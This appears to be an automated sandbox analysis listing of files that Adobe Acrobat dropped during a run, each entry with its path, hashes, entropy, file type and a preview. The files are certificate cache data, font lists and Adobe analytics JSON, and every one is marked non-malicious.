SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7360682398396405
Encrypted:	false
SSDEEP:	3:kkFklNntllltfllXlE/HT8k37vNNX8RolJuRdxLlGB9lQRYwpDdt:kKateT8SNMa8RdWBwRd
MD5:	927E9E4FEEFC1B31141C9B678B376E0E
SHA1:	849017143E3BD98AF8DCB1E7FECBB71A811F1509
SHA-256:	1DEDD8D7EEE0927788D987B2465847652C0C166260F926150643514D7890F184
SHA-512:	0F84FEDD1B0975BBB92E87F2DA7E472C427661514454D21EB121FD55B933FF13C411EAC709B78642B1085610CDEC5A2E6AD18823AFA52BC48D4628E600F53AA2
Malicious:	false
Preview:	p...... ........../.c..(....................................................... ..........W....y...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2071489585984527
Encrypted:	false
SSDEEP:	6:kKEsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:NiDImsLNkPlE99SNxAhUe/3
MD5:	383698BE27455D91E86466C0A6A06D6A
SHA1:	F5926FC8A6D09AE9F2C8D6C6F81DD522C7931D38
SHA-256:	F3DE5E197106B0F35E0F05175BB53692385EDAC54B05819674D0420EDA3BF8A3
SHA-512:	684ABF031837D8AD13C9A4362B0FC6D200454C1E8B5EA023A2DD93024A35079A1A29D8F6C691059DB84359A3C43A87F406541253920B8B1033D94DD6DBED822F
Malicious:	false
Preview:	p...... .........2.A.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1916

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1916

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.371828630760771
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJM3g98kUwPeUkwRe9:YvXKXBGxloc8GMbLUkee9
MD5:	4486118307BE691C08978870F0CE92B6
SHA1:	B9D9C923B1E92716C278BA7DA0A8408BFFF8F1C9
SHA-256:	0FB58D9E0B25697D81C7BD7D1AA3F63DBA91181C553371763F16380E0ADFCBE9
SHA-512:	FDDE1747A0830E0FC794215BE3033F58975F1B1F01A760C7B32C0E371DF695F26A03F0D0D22C16C4F28F758E2F9F946CC5329B12F58F5F98E1B70ACBB36BCB35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.324332304315261
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJfBoTfXpnrPeUkwRe9:YvXKXBGxloc8GWTfXcUkee9
MD5:	C817FE4C36826ECE921EC5012EE19E50
SHA1:	A92CB01177FA1283BA1BB922B965E229EDB2E833
SHA-256:	4AF3AB9999BD8A532F8EC5CE94ACAD49F7228ED473FBCF7505EB781F7F55B47B
SHA-512:	78E9BFA2C338D149C83E731DBDBD2751943FC301A39AD93ED0C3C40DAD7591A68523206CD0AC5E01B114E6554F1A92C1084C8AD7860BDFE0E0F5365D5D3969F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301804553518889
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJfBD2G6UpnrPeUkwRe9:YvXKXBGxloc8GR22cUkee9
MD5:	E881714939C1573E42A8AB85E0AFAE39
SHA1:	4FDFDC37179EF7126502FB4C1C5D641B82687EEA
SHA-256:	8C23B35AD3FBB8C629D3C7B7CBD9B3F408B12E674E877C80DFFB6360FEE46479
SHA-512:	E51305548D95DEEB9F1ACDE7FF56D359B00B27D8D825670A404E65DD4228D4658AF4456DE21A9953036347379866C6288759AD57469F9826ABE1B44714B7CAC4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352148232545535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJfPmwrPeUkwRe9:YvXKXBGxloc8GH56Ukee9
MD5:	8E4D123A7713702887640AFDD9ECB360
SHA1:	362987A1C3364D3BECCBE5249D6C3062906953A7
SHA-256:	F30B6BF118478F8663D04117B56D824A445DC799C8B56BCA977D9441A47B9A5A
SHA-512:	3185FFF30479F1C2EE2CBCBF152D6115DDAF7F1B7476A96B8DC3B5EDC55ECA738343099633F7835B63E7B62A25634373D950B8F52CAE16746E87D445F14BD023
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688766551086029
Encrypted:	false
SSDEEP:	24:Yv6XBGJ5pLgE9cQx8LennAvzBvkn0RCmK8czOCCSx3:YvE6hgy6SAFv5Ah8cv/5
MD5:	8742D7BFE0EF9C3A051D1489A2B18187
SHA1:	F76B80AA4E3A7965C9B96CE8A4EBBDBE22D01741
SHA-256:	03304E58919016C01C484EFE957C3AC85B2632F82D4B9D4C7E098F30FB96EFCF
SHA-512:	ABBB684341CD53009D685E030D50CAC3E9BC15FD6186A7DB70DABBB9E2B44538F59A57A0B449AA179CAF9B29FFE47E21EF41555D812DD7D64CE22867C4ADA5A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301800595776976
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJf8dPeUkwRe9:YvXKXBGxloc8GU8Ukee9
MD5:	3C3F8AF583B7162B551B042FEE6BF320
SHA1:	CF14D90B68E7BE90AAE357D3F6116EA15C119B32
SHA-256:	703514BE36A7D42E1E98D8F0264FD24906ACC3C40336E4CBF364AFF076BF6EA2
SHA-512:	1CB6153E48479E74A2C39AC2B6684110913B43783D61C68E4A1038F5DA558FC1DED036B54076B9E6C221DF8F86396C883335012E164094EEB751C79BE0A28DCB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.304416150662048
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJfQ1rPeUkwRe9:YvXKXBGxloc8GY16Ukee9
MD5:	E9834EDD84F6FA49914E626B5EEE8E92
SHA1:	8845D6F1400946D0583657B9C6C3923A5597D80E
SHA-256:	1038E49008EA494BFC8BFF1727915D94F74C9DCC089A076DF06AFDA502F9B1FE
SHA-512:	7F3C4E3F1B9E1B788289523428E0A8F339E57ECF721EC3F6112DB1531244E0C158602BACCEC1B9A8AB174DDF5A2CC2751F7FF18A42FC89A87DFDA5F30B0F9D89
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313156066897846
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJfFldPeUkwRe9:YvXKXBGxloc8Gz8Ukee9
MD5:	75FCCCD701BD9138AC92B4904B4F1E65
SHA1:	0CDB25DF228D01D7C470495E4D1E0651A4E17CAA
SHA-256:	2FBCDF253FBAB386C3EDCE4A507354391C3B5EF7B9D0F7D2B65FE5AB085A3BD7
SHA-512:	263B2AD9826220A1A41F49611E1BC0F6A010D99BA6720D86F8E9A4839169CB775671DD8789E430247CA7A24C5B2CF8B13C663448C0A0AF9091D04064039706B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.329869443133049
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJfzdPeUkwRe9:YvXKXBGxloc8Gb8Ukee9
MD5:	4C5DFB566B6071263B8396AFE69C7487
SHA1:	2C64F0CD03BFE7262A8A52FEE81647EE45E8FEE0
SHA-256:	9B3B4D12BB95DB46FCFDB9B04CA57F6B13010D8686DA47FD84771298FDEACF6B
SHA-512:	CAFD459FA67C6DFC641328820408760E41927F756F67AD9A6604CBB8ACF1D4C6E6A70706D698EB7D780203A8C290EBF6AC00A92F0CDE3F8C2E31C21F1E249648
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310437481788527
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJfYdPeUkwRe9:YvXKXBGxloc8Gg8Ukee9
MD5:	9C9962092B9C3C1BD22E76BD9F18A962
SHA1:	8290ECBB575AED9877870FC1612EE3854A1E1C25
SHA-256:	2160DE066CC5D2C25E091B770221681D11F2E0678A8DEF8572F3F6CDC8339AD2
